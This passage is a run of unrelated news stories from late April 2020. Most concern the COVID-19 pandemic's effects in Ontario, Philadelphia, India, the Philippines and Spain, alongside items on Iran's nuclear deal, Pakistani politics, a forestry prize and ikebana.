restrictive liquor licensing rules to allow restaurants to serve wine, beer, and spirits to go as an example of the regulatory changes he is willing to make to help businesses. We want to do more, he said. To help, he launched a new online suggestion box for businesses to submit any potential roadblocks they are encountering, including challenges retooling their manufacturing equipment so they make gear needed during the pandemic. Promising the government would show some flexibility in helping them to overcome challenges they may have never faced before, the premier vowed that red tape would be slashed. This website will allow us to listen to and support businesses as they adapt to this new environment. At the same time, it should also make it easier for businesses to retool to produce the health-related supplies and equipment that our front-line workers need, he said Rocco Rossi, president and CEO of the Ontario Chamber of Commerce, said reducing regulatory burdens caused by this crisis is greatly appreciated by the business community. This is welcome news for Ontario business, as most have been overwhelmed with adapting to the reality of doing business during a pandemic, supporting public health efforts to contain COVID-19, or simply balancing a heavier workload, said Rossi. Robert Benzie is the Stars Queens Park bureau chief and a reporter covering Ontario politics. Follow him on Twitter: @robertbenzie Read more about: CORVALLIS, Ore. - Richard Waring, professor emeritus in the Oregon State University College of Forestry, is one of three researchers sharing this year's international Marcus Wallenberg Prize for developing a revolutionary computer model to predict forest growth in a changing climate. The annual prize, one of the highest honors in the field of forestry, was announced today in Falun, Sweden, and is named for the late Marcus Wallenberg Jr., a banker, industrialist and member of Sweden's long-influential Wallenberg family. Waring and co-honorees Joe Landsberg and Nicholas Coops, both of Australia, will each receive 2 million kronor, about $200,000, when they are presented with the prize in October by Swedish King Carl Gustav XVI. "Dick Waring's impact on forest science is clear," said Anthony S. Davis, interim dean of the OSU College of Forestry. "He and his colleagues are well-deserved recipients of this incredible honor. Perhaps the only thing to eclipse his scientific contribution has been his commitment to the students, researchers and colleagues who have worked with him throughout his career. His dedication to their advancement has a cascading, positive impact that continues to grow in scientific accomplishment." Waring joined the OSU College of Forestry faculty in 1963 and remained active in forest science teaching and research until 2018. The model created by Waring and his colleagues includes use of satellite imagery to show how different environmental conditions affect the world's forests. Established in 1980, the Marcus Wallenberg Prize goes to an individual researcher or a small group of researchers for "a groundbreaking discovery or development in an area of importance to the forest industry," according to the Marcus Wallenberg Foundation. The prize's purpose is to "encourage and stimulate path-breaking scientific achievements which contribute significantly to broadening knowledge and to technical development within the fields of importance to forestry and forest industries." Waring and Landsberg are pioneers in forest growth modeling under changing environmental conditions. They first presented their 3PG model - Physiological Principles Predicting Growth - in 1997. In 1998, Coops added satellite imagery to the model, enabling large areas of forest to be surveyed and forest growth and carbon storage to be predicted on a greater scale. "We recognize that apples and oranges both grow on trees that incorporate similar processes," Waring said. "Their leaves photosynthesize and transpire, and their roots take up nutrients and water. Exactly the same processes operate in Douglas-fir and eucalyptus trees, although the products of photosynthesis may be distributed somewhat differently. "By the late 1990s, enough was published that we thought a simplified model could be built that could help foresters as well as ecologists predict how stands of a given composition of tree species might respond to changing environments." Waring, Landsberg and Coops have allowed researchers and landowners open access to the model, leading to its rapid and widespread adoption, use and improvement. "That's exactly how science is supposed to work," said Waring, noting the model can be applied to a range of tree species around the world, in mixed-species stands, and in monocultures. ### A survey of Philadelphia college students found more than half at two-year campuses and one-third at four-year universities reported difficulty attaining adequate food and secure housing. And that was before the coronavirus upended campus life, forcing many students out of their jobs and residences. It is therefore likely that rates of food and housing insecurity among Philadelphia college students have increased since they were assessed, said the newly released report by the Temple University-based Hope Center for College, Community and Justice. The pandemic exposed the depth and breadth of vulnerability at Philadelphia colleges and universities, as many students who were forced to leave campuses had nowhere to go and no resources to create safe, alternative plans, the report said. And things are likely to get worse, given the millions who have lost jobs nationally, said Sara Goldrick-Rab, an education policy professor who leads the Hope Center. Students education could suffer as a result, she said. The biggest buffer they had against [homelessness and hunger] was their jobs, she said. The rates for the unemployed students are terrible. Active job search competes with your time for school and it doesnt pay, and thats a disaster for these students. ASK US: Do you have a question about the coronavirus and how it affects your health, work and life? Ask our reporters. The survey, funded by the Lenfest Foundation, was given to 73,000 students at Temple, Drexel and La Salle Universities, Community College of Philadelphia, and Orleans Technical College in fall 2019. About 8% or more than 5,600 responded. Nonwhites, females and those who identify as LGBTQ generally had higher rates of housing and food insecurity and homelessness, the report said, as did those who had been in foster care, served in the military or had been incarcerated. About one in five respondents at two-year colleges indicated they were homeless and about one in 10 at universities, the report said. Changes to policy and practice are required to ensure these students continue to pursue their educational dreams," the report said. "We urge immediate investments in emergency aid, new partnerships between colleges and community organizations, and changes designed to better connect students with public benefits programs. READ MORE: Colleges will receive millions in stimulus money, but coronavirus expenses are greater The new report also highlights difficulties students face in affording transportation and child care. About a third of Temple respondents said they struggled to afford transportation to campus at least once in the previous year, the report said. Homeless rates ranged from 11% of survey respondents at La Salle to 22% at Orleans. Food insecurity ranged from 32% at Drexel to 57% at Orleans, while housing insecurity ranged from 29% at La Salle to 55% at CCP. Results, Goldrick-Rab said, point to the need for colleges to give students more help in applying for food stamps and other government programs that offer support. They really need to work with us, she said of colleges, "because we can really help them do it. A citywide emergency aid fund for college students also should be created, she said. READ MORE: Temple prof: Philadelphia must do more to help hungry, homeless college students The federal government is offering colleges about $14 billion in stimulus aid, about half of which is supposed to go to needy students. Goldrick-Rab initially was pleased with the federal guidelines, which seemed to give colleges a lot of leeway in distributing the aid. But since then, the government has said only students who qualify for other federal financial aid are eligible, cutting out international students, among others. That will mean colleges have more students with unmet need, she said. The Philadelphia Inquirer is one of more than 20 news organizations producing Broke in Philly, a collaborative reporting project on solutions to poverty and the citys push toward economic justice. See all of our reporting at brokeinphilly.org. Two sisters have confessed to their nefarious activities after being caught with a motorcyclist suspected of supplying food items and women to bandits in Zamfara State. The sisters said they charge each member of the group N6,000 for intercouse per night. According to the Nigeria Security and Civil Defence Corps (NSCDC), Zamfara State command, Shafiu Abdullahi and the sisters; Binta Husaini and Balki, were arrested on their way to Anka Local Government Area, where Abdullahi was taking supplies to the bandits. Aliyu Garban, the corps commandant, while briefing journalists, said luck ran out on the suspect, when he was intercepted by officers of the command after a tip-off. The commandant stated that the motorcyclist was arrested along Bagega-Anka Road with the two sisters, who are from Niger. During our Investigations, the suspect, Shafiu Abdullahi, was discovered to be assisting a suspected notorious leader of the bandits called Shaho by supplying social services to his hideouts. Binta and Balki are sisters and Shashos girlfriends and his friend, Jijji, he said. As soon as preliminary investigation activities against the suspects were completed, the command would transfer the case to other sister agency for further investigation and determination, the commandant added. The sisters: Binta, 18, and Balki, 20, confessed that they collect N6,000 each from the bandits per night. They explained that Abdullahi normally conveyed them to the bandits on his motorcycle. However, Abdullahi admitted that he had a contract with the bandits, but said he has never been to their hideouts. The bandits used to come out of their hideout to collect the items from me. I have never visited their hideouts, he stated. Follow Us on Facebook @LadunLiadi; Instagram @LadunLiadi; Twitter @LadunLiadi; Youtube @LadunLiadiTV for updates Metro Manila (CNN Philippines, April 28) The country's defense chief said the head of the Armed Forces of the Philippines did not commit any wrongdoing when he sent a letter to the Chinese ambassador seeking assistance to procure COVID-19 medicine and help the government's fight against the deadly virus. In a statement issued Tuesday, Defense Secretary Delfin Lorenzana said he saw "nothing wrong" when General Filemon Santos Jr, wrote Ambassador Huang Xillian to procure Carrimycin "a cure for COVID, available only in China, for his friends who are infected with COVID19." "But Gen. Santos withdrew his request upon learning that our FDA has not approved the drug for use in the Philippines," said Lorenzana. "What is wrong with wanting to help those infected with COVID?" he added. In a separate statement during Tuesday's Laging Handa briefing, Lorenzana said Santos admitted sending the letter to Huang. "Hindi naman siguro very improper yung ginawa niya, wala lang sa lugar," the DND head said, adding the letter should have been coursed through the Food and Drug Administration. [Translation: What he did doesn't seem to be very improper, it just wasn't done correctly.] Santos tested positive for COVID-19 in March and Lorenzana said this could have factored in the decision for the letter. "Siya ay nainfect ng deadly virus at yung spectre ng pagkamatay ay nandiyan," he pointed out. "He suffered anguish and distress... Kaya yun ang nagbunsod kay General Santos na idaan ang kanyang request through the Chinese ambassador." [Translation: He was infected with the deadly virus and the spectre of death was present. He suffered anguish and distress... That's what pushed General Santos to send his request through the Chinese ambassador.] Because of this, Lorenzana said they would let the issue go. "So ang sabi ko naman, inamin na niya yung pagkakamali niya, sa statement ko, wala naman siyang kasalanan na nag-violate ng regulation or imperiled our national security," he said. "We will let the matter rest na kasi he already admitted and he explained to me the reason why he did it." [Translation: As I said in my statement, he admitted his mistake, he didn't do anything wrong or imperiled our national security. We will let the matter rest because he has admitted it and explained to me the reason why he did it] In a message to CNN Philippines Monday, Santos said , "It might help others, who were similarly infected with the virus, to also benefit from his lessons. By communicating with authority, we might get a competent advise that would either validate or negate my experience with the medicine. We will also know if said medicine is being used in China" "We do not see any conflict of interest," said AFP Spokesperson BGen Edgard Arevalo. "This is about medicine that the AFP chief feels can save peoples lives. That is more compelling." Zarif Tells Pompeo to Stop Dreaming About Return to JCPOA After Failing to Bring Iran to Its Knees Sputnik News 13:33 GMT 27.04.2020(updated 13:48 GMT 27.04.2020) The Trump administration unilaterally withdrew from the 2015 Joint Comprehensive Plan of Action Iran nuclear deal in 2018, forcing the deal's remaining signatories to scramble to try to save it. On Sunday, US media reported that Secretary of State Pompeo was preparing to argue that Washington was actually still a party to the agreement. Iranian Foreign Minister Mohammad Javad Zarif has called on the US secretary of state "stop dreaming" amid reports that the US was planning to make the convoluted legal case to the UN that Washington was still part of the JCPOA for the purposes of applying new sanctions against Iran. "2 years ago, @SecPompeo and his bossed declared 'CEASING US participation' in the JCPOA, dreaming that their 'maximum pressure' would bring Iran to its knees. Given that policy's abject failure, he now wants to be a JCPOA participant. Stop dreaming: the Iranian Nation always decides its destiny," Zarif tweeted, accompanying his post with screenshots of US documents confirming America's withdrawal from the nuclear agreement. The Iranian foreign minister's comments come following reports by the New York Times and Fox News citing sources on Sunday that Secretary of State Mike Pompeo was planning to argue that the US was still a party to the 2015 Iran nuclear agreement as part of Washington's ongoing bid to extend the UN Security Council arms embargo against the nation, and to restore international sanctions against Tehran. Pompeo confirmed to the NYT that the state department was "prepared to exercise all of our diplomatic options to ensure the arms embargo stays in place at the UN Security Council". The secretary of state ramped up Washington's lobbying of the Security Council on Sunday, alleging that Iran's latest satellite launch constituted a violation of Resolution 2231, the UN document which authorized the JCPOA in 2015. Zarif responded to Pompeo's claims, suggesting that the US and its EU allies have no right to "lecture" the Islamic Republic on its space and missile programme, and reiterating that Iran "neither has [nuclear weapons] nor missiles designed to be capable of carrying such horrific arms." The Trump administration unilaterally scrapped its commitment to the Iran nuclear deal in May 2018 following intense lobbying by Prime Minister Netanyahu of Israel. After withdrawing, Washington slapped Tehran with tough banking and energy sanctions, with Iran calling on the deal's European signatories to come up with a package of measures to soften the economic blow caused by US actions. Amid Europe's failure to do so, Iran has gradually reneged on some of the nuclear deal's provisions, including limitations on levels of uranium enrichment. The Islamic Republic has stressed however that it has no intention to pursue either nuclear weapons or any other weapons of mass destruction. A Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address New Delhi/Islamabad, April 28 : In an effort to restore his credibility with the Pakistan Army, Prime Minister Imran Khan has appointed former Inter-Services Public Relations (ISPR) chief Lt Gen. Asim Saleem Bajwa (Retd) as his new special assistant. Bajwa will replace Firdous Ashiq Awan, Pakistan's Science and Technology Minister Chaudhry Fawad Hussain announced on Twitter on Monday. Sources in Islamabad said Khan's relationship with the Army had soured over issues of governance especially related to distribution of relief during the Coronavirus-related lockdown. Army chief Gen Qamar Javed Bajwa, the most powerful person in Pakistan, sources said, has been dissatisfied with the overall performance of the Khan-led government, during the crisis. Pakistan Army made it evident that it was unhappy with Khan, by deploying military for distribution of aid to civilians. They involved interior minister Ijaz Shah to facilitate the deployment, and not Prime Minister Khan. Sources said Khan's opposition to complete lockdown has not gone down well with the Army. The only person who fully supported Khan's decision, sources said, was his special assistant for information Firdous Ashiq Awan at the time. The military has also blamed Khan's special assistant for overseas Pakistanis, Zulfiqar Bukhari for the badly managed return and quarantine of Pakistanis from Iran. Khan's adviser for health, Dr Zafar Mirza has been accused of smuggling face masks. The deterioration in the Khan-Army relationship, sources said, necessitated the change. Sources said in order to consolidate his position, Khan also sacked Awan as federal information minister and replaced him with Pakistan Tehreek-e-Insaaf (PTI) leader Shibli Faraz. With the appointment of Gen Bajwa as his special assistant for information, Khan has for now averted further strain in his relationship with the Army chief, sources said. Bajwa retired from the Army last year. He served as Southern command chief, ISPR (Pakistan Army's propaganda wing) chief (2012-2016) and chairman of the China-Pakistan Economic Corridor Authority before his retirement. Hyderabad, April 28 : Hyderabad Police Commissioner Anjani Kumar made the first birthday of a baby an occasion to remember by personally wishing her on the request of her parents from the United States. The top cop met Baby Myra at her house in Barkatpura, here on Tuesday, and greeted her on her first birthday. He presented her toys as the birthday gift in the presence of her grandparents. Myra was to join her parents in Boston but was stuck in Hyderabad due to lockdown. Her parents Sandeep and Harini had requested the Police Commissioner to visit their house in Barkatpura and greet their daughter. Accompanied by Joint Commissioners of Police P. Vishwa Prasad and M. Ramesh and other officials, the Police Commissioner visited the house. It's the second such gesture by the Hyderabad Police in recent days. Last week, an inspector of Rachakonda police had given pleasant surprise to a woman by singing a song in front of her house to greet her on 60th birthday. On a request by her son, who could not visit her on the birthday due to lockdown, the official visited the woman and sang a song to give her a surprise. While wearing a mask, long-sleeved clothing, and protective gear, Eilene Beniquez is offering a helping hand to the business of her parents. Beniquez is one of the many Latino millennials who are helping to keep their family's business survive the COVID-19 crisis. She is physically needed in the restaurant instead of her parents, says an article. COVID-19 High-Risk Parents Baniquez's parents are both in their 70s. They are at higher risk from the COVID-19. This is the reason why Baniquez had taken over the business for the time being. Baniquez is the daughter of the business owners Eric and Amanda Beniquez. Their business, Tropical Star, is a market and restaurant in San Diego. Helping those Who are in the Frontlines Baniquez did not only take the responsibility to operate their family business due to the health risk posed by COVID-19 but also due to the face that a lot of healthcare frontline workers are their regular customers. The business has a history of providing help to essential frontline workers. Eric Beniquez, his father, used to work at a New York Hospital before establishing his own business. Continuing the Legacy After a few decades, Beniquez's family continues their legacy by ensuring that customers and their staff are provided help to help them survive the crisis. Tropical Star is frequently visited by the medical staff of Sharp & Children's hospital in their area. Check these out: Shortage of Supplies According to Beniquez, the majority of their customers are doctors and nurses. She believes that she can significantly help their community by providing food. Also, she noticed that a lot of people visiting Puerto Rican and Colombian businesses are diversifying. She was familiar with the common people who visit with those businesses, and she noticed that a lot of them, even the new faces, are majorly buying corn, canned beans, and rice. The business has not observed aggressive hoarding among customers. However, there have been instances of shortages due to the effects of the COVID-19 towards suppliers and manufacturers. The business ran out of rice for 20 days, and when the supplier delivered their order, only one of the bags was given, Beniquez shared. Saviors during the Time of the COVID-19 Pandemic Millennials are stepping forward to offer help for the world's survival from COVID-19. Baniquez said that she and her chef are immunocompromised. However, she is a bit stronger than her chef and parents, which is why she accepted the task of handling the family business in the meantime while COVID-19 continues to spread in the country. For those who live in San Diego, the family business of Beniquez is open from Monday to Saturday from 11 to 9. The place offers good take-out food and drinks from different Latino cuisines. Visit their Instagram page to get updates on what they offer. MONTREALPrime Minister Justin Trudeau said his mother was doing fine Tuesday after a fire at her downtown Montreal apartment sent her to hospital. Margaret Trudeau, 71, was transported to hospital after the fire that broke out on the patio of the building just before midnight Monday. Before his daily COVID-19 briefing the following morning, the prime minister addressed his mothers condition. I know many of you have seen reports about my mom, Trudeau said. I want to let you know that Ive spoken with her and shes doing just fine. Trudeau thanked those whove reached out and first responders who answered the call. In a tweet earlier Tuesday, the prime minister also said his thoughts were with those forced to flee because of the fire. Authorities did not identify Margaret Trudeau by name, but a spokesman for the Urgences Sante ambulance service said a woman in her 70s was taken to hospital with burns and suffering smoke inhalation. There were no other reported injuries, but three families were forced from their homes by the fire and were assisted by the Red Cross. The fire required the intervention of several dozen firefighters from the Montreal fire department. The building on Docteur-Penfield Avenue is not far from the Montreal General Hospital. Neither the extent of damages to the building nor the cause of the fire had been determined. On its Twitter account, the fire department reported at 1:50 a.m. that the fire was out and its intervention concluded. It had first reported the fire call at 11:36 p.m. Monday. Being Chinese-Canadian in a brave new world, April 24 I read the tone-deaf, self-absorbed nature of this opinion piece with great distress. It certainly does not represent me, nor, I suspect, many other Chinese-Canadians. First, as a Chinese-Canadian, I can attest that racist incidents are extremely rare and isolated. (The last time I can recall one was decades ago when I was in grade school.) These incidents, which have been blown way out of proportion, are perpetrated by maladjusted individuals and are not institutional or systemic. There is no place in the world that gives immigrants and minorities a fairer shot than Canada. Whether its media, academia, government or business, there are few if any constraints on opportunities. Racism against other minorities, in particular those of African descent is rife within the Chinese community. The racism and xenophobia is so endemic that it is built into our vocabulary. Our terminology to describe other races retains all the xenophobic undertones of centuries past. It seems that the writer is not concerned with racism per se, but only with racism that is directed at her. I implore the Toronto Star to stop printing these self-victimisation pieces as they do much greater harm than good. There are many, many difficulties faced by all segments of society. Navel-gazing, self-absorption only solicit backlash. Please focus on authoritarian regimes and their systematic suppression of minorities, such as Tibetans, Uighurs, Taiwanese and Hong Kong immigrants, here in Canada. Prime Minister Narendra Modi on Tuesday said partnership between India and Canada is vital to fighting the COVID-19 pandemic. In a tweet, Modi said he spoke to Canadian Prime Minister Justin Trudeau. "Thanked him for looking after Indian citizens in Canada in these difficult times," he said. "Collaboration and partnership between India and Canada is vital to fighting the pandemic, including through medical research and supply chain management," the prime minister said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Share this: Twitter Facebook WhatsApp LinkedIn Email Telegram Abuja, April 28, 2020 Authorities in Sierra Leone should immediately drop all charges against journalist Fayia Amara Fayia and ensure those responsible for the attacks against him are held accountable, the Committee to Protect Journalist said today. On April 1, in Sierra Leones eastern Kenema city, a group of at least 10 soldiers attacked Fayia, a reporter with the Standard Times newspaper, hitting him with their guns and kicking him, according to the journalist, who spoke to CPJ in a phone interview, and a statement by the Sierra Leone Association of Journalists, a local press freedom group. Fayia told CPJ that the soldiers attacked him and seized his phone after he photographed a new COVID-19 quarantine center. The soldiers then arrested him and alleged that he had assaulted a soldier and District Head Mohammed O. Level Sesay, a local official who was at the scene, Fayia said. After the attack, a local court charged Fayia with assault, disorderly behavior, and obstruction of security duties, he said. If convicted, he could face up to three months in prison and a fine of 80 Leones ($0.0082), according to Sierra Leones Public Order Act. Authorities in Sierra Leone should be working to beat the coronavirus, not the press. It is beyond outrageous that journalist Fayia Amara Fayia has been charged with assault and disorderly conduct after being attacked by soldiers, said Angela Quintal, CPJs Africa program coordinator, in New York. Fayias attackers should be the ones facing trial, not the other way around. Following the attack, officers detained Fayia at the Kenema police station for three hours and then transferred him to a local hospital, where he was handcuffed to a bed and held under police guard for four days, he said. On April 5, police brought Fayia back to the police station and held him for another three days, he said. On April 8, officers brought him to a local magistrate court, where charges were filed against him, he said. The court freed Fayia on bail after he posted a bond of 30 million Leones ($3,093) and two sureties, he told CPJ. He fainted during the April 8 court appearance because he had been denied medication for a preexisting condition during his detention, he told CPJ, saying that he went back to the hospital after the hearing and stayed there until April 12. The journalist said he appeared in court again on April 15 and 21, and was due to appear again today, but authorities told him his case was suspended amid the governments lockdown to contain the coronavirus. He said his phone has not been returned to him, as it is being used as evidence against him in court. Fayia said he had to use a wheelchair in the weeks after the attack, as his legs were in pain and he cannot move them well. He said he also has bruises on his head and feels pain across his body. Brima Kamara, a Sierra Leone police spokesperson, told CPJ by phone that he did not receive a formal complaint regarding Fayias assault. CPJs calls and messages to Mohamed Rahman Swarray, Sierra Leones information minister, went unanswered. CPJs calls and messages to Sesay, the district head, and Yahya K. Brima, a Sierra Leone military spokesperson, went unanswered. CPJ was able to reach another military spokesperson via phone, who identified themselves as Major Kiawu. Kiawu said they believed the army did nothing wrong and asked CPJ to provide evidence showing that Fayia had indeed been attacked by the soldiers. Care workers are the invisible workers on the frontlines of the coronavirus crisis. They are cleaners, nannies, and caregivers. Their work is critical and yet they are unseen, underpaid, and undervalued. Through Caring Through Coronavirus our partnership with the National Domestic Workers Alliance, the nations leading organization for the respect and dignity of domestic workers we are looking at life in the coronavirus pandemic for real domestic workers today. Ai-jen Poo, the director of the Alliance, will be interviewing the workers. Name: Ingrid Vaca Occupation: House cleaner Age: 57 Gender Identity: Woman Location: Washington, D.C. How has coronavirus affected your work situation? I have no work now. At first, I wasnt really worried what would happen to my work. But then, one of my clients called to say, Please dont come to clean my home, I dont want anybody in my house because Im very scared about the coronavirus. I thought maybe some people would be worried, but I didnt think it would change everything. That was on a Friday. Then on Monday, I had another cancellation, and that continued until now where I dont have any work. One of my most difficult experiences was the cancellation of one client whose home I have cleaned for 15 years. His son called me and left a message saying they didnt have money to pay me anymore. Ive worked with his father for 15 years, and I took care of him as though he was my father, and then one day Im just gone with a message on my phone. Now I have no clients left, and I have to pay rent and bills and buy food, but I dont know how. How does being undocumented impact you in the face of coronavirus? I came here in 2000 from Bolivia with my two sons and a suitcase full of dreams, and I have been working as a domestic worker, house cleaner, and nanny to raise my sons, who are both adults now. I dont have documentation, so Im treated like I am nobody. I have worked hard for every family I have worked for, and many times have become part of the family, but when there is a crisis it is as though you dont exist. Everyone is talking about the stimulus checks, but I dont have any access to government assistance because I dont have a Social Security Number, even though I pay taxes. Story continues Ive worked with his father for 15 years, and I took care of him as though he was my father, and then one day Im just gone with a message on my phone. What has been your experience trying to access assistance? Ive been told my situation is not very serious, like other peoples circumstances. I called a number that I was given, looking to get rental assistance from the government, and the person I was talking to asked if I had kids under 18. When I said no, he said my situation is not dangerous; its not bad like other families. But I wont have a place to live if I cant pay my rent. I dont even know if they are still considering my application or not. I live with my son and we havent had any income for a month. Even though my son has DACA [Deferred Action for Childhood Arrivals], we dont have the protections citizens do. He doesnt have any health insurance because he only just started working a new job, and I am afraid of him going to work each day. They dont give them masks where he works, but he has to go because I dont have any work now. Our rent is $1,600 a month. What is hardest about this for you? Being treated like Im disposable. As an undocumented worker, you are already vulnerable. Once I was working for a woman who took advantage of undocumented Latinas by employing us to clean multiple houses for just $40 each day. She knew that we didnt have other options and had to feed our children, so she exploited our situation. I worked with her for eight months until I was able to find something else. Ive had an employer tell me he would give me the job if I kissed him, as though I dont have any rights, because he knows Im undocumented. Im tired of being treated like an animal. Im feeling really depressed and Im trying to keep going, but its really, really hard. What else would you like people to know? I want people to know we are human beings, too. We are people, and we really need respect and dignity our humanity because we are the people who take care of kids and who clean houses so others can go to work. My mom and grandparents were always fighters and fought against any injustice in the community. They taught me to have a big heart and look out for everyone else. I hope that people remember people like me and call Congress and take other action to urge them to include people like me in any future relief, and show support for me the way I have shown support for others. If you would like to support domestic workers, you can donate to the Coronavirus Care Fund, which is providing domestic workers who apply with $400 in emergency assistance. Like what you see? How about some more R29 goodness, right here? What It's Like To Clean Hospitals Right Now What It's Like To Be A Teacher Right Now What It's Like For An ER Doc During Coronavirus NEW DELHIWhen the Indian government eased coronavirus restrictions last week, allowing many shops to reopen in rural parts of the country, Uday Shankar Sharma, a retail store owner in a small farming village, said he had no intention of complying. Over the past few weeks, Sharma said fear had deepened in Sabna, where he lives in northern India. Community meetings held under a clock tower have stopped. Neighbours barely talk to each other. Streets are so silent that people can hear grasshoppers in the daytime. Sharma said resuming business was simply too dangerous right now, even though his district of more than three million people has only reported one case of the coronavirus. It is better to stay hungry than to get the coronavirus, he said in a telephone interview. Why should I risk the lives of my family members for a few hundred rupees? For five weeks, Indians of all stripes have united to zealously conduct a nationwide lockdown, the largest and one of the most severe anywhere. But as the central government has started lifting restrictions in areas with few or no known cases of the coronavirus, officials are now facing a new challenge: persuading fearful residents, and their leaders, to consider a partial reopening. By many measures, the nationwide lockdown imposed last month by Prime Minister Narendra Modi has helped blunt the spread of the coronavirus. Indias doubling rate for cases has slowed to around nine days, and although testing is still restricted, infections have remained relatively low for a nation of 1.3 billion, with nearly 30,000 confirmed cases and 900 deaths. On April 20, India took a step toward reviving the economy to mitigate hardship to the public, allowing construction, plantation work and some manufacturing to resume. By Friday, the central government had further eased restrictions, permitting many shops to reopen in rural parts of the country and outside hot spots, which have largely been traced to bigger cities like Mumbai and New Delhi. But unlike the initial lockdown, which Indians widely endorsed despite the clear cost of shutting a country where around half the population lives on less than $3 (U.S.) a day, the lifting of restrictions has divided state leaders. They have some autonomy to set their own coronavirus guidelines as long as they are no less strict than those imposed by the central government. While critics of a prolonged shutdown in the United States, for instance, have often grounded arguments for reopening in notions of individual liberty, Indian officials have almost uniformly rallied around Modis framing of the pandemic as a collectively felt crisis that required co-operation at every rung of society. Many embraced Modis order for a total ban of coming out of your homes, heeding his directives to police one another and fight the virus like a dedicated soldier. But as Indias economy suffers, the consensus has started to fray. After lockdown measures were eased last week, the states of Kerala and Gujarat were among those that planned to move forward with reopening shops. Tamil Nadu, Jharkhand and Maharashtra indicated that they would keep businesses shut until at least May 3, when Modi will decide whether to extend the lockdown or let it expire. Other states barely said anything. Crafting enforceable orders is challenging in a country as diverse and fragmented as India, with nearly two dozen official languages and vast cultural chasms across states and even neighbouring villages. The cryptic nature of the governments news releases has not helped. After announcing that many shops selling non-essential items could reopen late Friday, the Ministry of Home Affairs issued multiple corrections over the next 24 hours. On Twitter, Vasudha Gupta, a ministry spokeswoman, revised an earlier announcement that ALL shops outside municipalities could reopen by exempting liquor stores, then restaurants, then salons. The Confederation of All India Traders, a group that represents small retailers, urged the government to clarify even further. Over the weekend, the group said it expected millions of businesses to open nationwide, but only a few had been successful. There is lack of consensus among the administration and law enforcing agencies with the result that traders are not allowed to open the shops, the group said in a statement. In the southern state of Karnataka, Subhash Chandra, the managing director of Sangeetha Mobiles, told the Economic Times that nearly half of the chains 260 outlets had reopened Sunday only to be promptly shut by the local police. Even business owners who faced fewer roadblocks in resuming operations said supply chain wrinkles had made it nearly impossible to complete most of their work. After Modi announced the lockdown March 24, migrant workers typically hired for construction jobs left cities for their home villages, some of them hundreds of miles away. With train and bus service suspended, they have no easy way to return. Mukesh Goel, a government official who oversees construction projects in the state of Punjab, said his office reopened last week with a skeleton crew and no business. We are trying to find a way to fully resume work, but it doesnt seem likely anytime soon, he said. We need machinery, labour that is almost impossible to get at the moment. Arunoday Singh Parawar, a social worker in the state of Madhya Pradesh, said skepticism to reopen went beyond fears of the coronavirus. In Chhatarpur, the town where he lives, local leaders have imposed harsher restrictions than most by allowing food shops to open only on alternate days, even though the area has been mostly unaffected by the coronavirus. Parawar said the reason was simple: Officials feared that if they eased restrictions too soon, or by too much, they risked the ability to reimpose coronavirus rules and persuade millions of people, many of them without a formal education, to return to a life indoors. They do not want to lose control of the public, he said. Still, economists say an indefinite lockdown is hardly sustainable. With so many Indians out of work, the countrys public distribution system, which provides food and other handouts to hundreds of millions of people, has been severely stressed. And in remote areas of the country, authorities have sometimes used force to keep people inside, making it difficult to reach markets and ration shops. Nazia Errum, a widow who supports three children as a seamstress, said the police have beaten people for trying to leave their homes in the village of Hajipara, where she lives in the northeastern state of Assam. With no work for a month, Errum feared that her family would starve if the lockdown continued. When you cant step out of your house for a minute, how will you earn? she said. We have been eating rice only once a day instead of three because we dont know what will happen tomorrow. We are terrified. In Indias largest state, Uttar Pradesh, state leaders have already indicated that they will not implement the central governments loosening of restrictions. In Sabna, a community of farmers, Rajesh Kumar Jaiswal, the villages leader, said changing peoples psychology was one of the biggest stumbling blocks to reopening. People have developed a habit of following restrictions, he said. Even if the government eases them, would people come out? No one is gathering. Sharma, the small business owner, said he had tentatively opened his shop Sunday so that people could buy dry goods and home hardware products. But within a few hours, he had shut it again, fearing that he might endanger the village and become a pariah if somebody got sick. For now, he said, stores would stay closed. Those who outlive this will remember a time when people had an opportunity to earn money, but they feared the very people who would give them the currency note, he said. Read more about: Vegetables, of course, are prosaic and cheap. They arent meant to be looked at so much as consumed, and if you wait long enough, they begin to smell. This fact, especially, tended to bother more traditional masters when they first encountered Ohtsubos work at exhibitions, but he believes that the vegetables potential for visceral decay only adds to its artistic promise. Take the cabbage: Its entire form and fragrance really changes over the course of just a few days, he said. In fact, his philosophy fulfills two of ikebanas core aims: to express the impermanence of beauty and to showcase beauty that might otherwise have gone unnoticed. Whats more, vegetables tether humans to the natural world. Many of them come from the ground, after all, while elegant branches are pulled, Ohtsubo says, from the top of the mountain. Born in 1939 in Ashio Dozan, which is in the central Tochigi Prefecture and was the site of a notoriously polluting 19th-century copper mine, Ohtsubo was the middle son of the villages deputy mayor. Often, he was left alone to wander the mountains surrounding the village, once getting so lost that he ended up spending the night at an inn before finding his way home. Back in those days, everyone had four or five children, and if you werent the eldest son, you werent really treasured, he said. When a local woman offered ikebana lessons, he decided to enroll. There were a lot of beautiful girls in the class, said Ohtsubo, who wears eyeglasses with Playboy Bunnies imprinted on the temples. In 1960, he moved to Tokyo and studied under the Ryusei master Kasen Yoshimura. But Ohtsubo feared hed be unable to make a living as an artist. He enrolled as an engineering student at Tokyo Denki University, but the pull of ikebana was too strong. And so he returned to the Tokyo Ryusei school, joining the staff as an apprentice. Right away, Ohtsubo was back to breaking convention, sourcing materials from farms, groceries and dumpsters, and even inserting himself into his work, which leaned increasingly toward contemporary art: For I Am Taking a Bath Like This (1984), he photographed himself sitting in a tub filled with kakitsubata (Japanese iris) leaves. Hes been looking for new and unexpected ways into his medium ever since. One day, while watching his wife make cabbage rolls, he thought, This is ikebana, and created a large, spade-shaped sculpture covered in boiled cabbage. Coronavirus: The fishing sector estimates global average losses of at least 30% April 28,2020 | Source: Maritime Herald The crisis committee of the fishing sector, in Spain, made up of the Spanish Confederation of Fisheries (Cepesca), the National Federation of Provincial Associations of Retail Entrepreneurs of Fish and Frozen Products (Fedepesca) and the National Federation of Fishermens Guilds (FNCP), estimates that The global average losses that the alarm state has caused so far, both to the deep-sea and inshore fleets, to fish markets and to distributors and retailers are at least 30%, the organizations report in a statement. , indicated Industrias Pesqueras. This decrease in income, which in many cases has disappeared boats that do not operate, fish markets and shops closed -, added to the lack of financing and the difficulty in receiving state aid, represents a loss of profitability and may lead to definitive closings and dismissals once the COVID-19 crisis is over. The economic imperative has led many coastal vessels to return to work both in the Mediterranean and in the Cantabrian Sea, which is having a negative impact on prices at first sale and it is not ruled out that some fleets have to 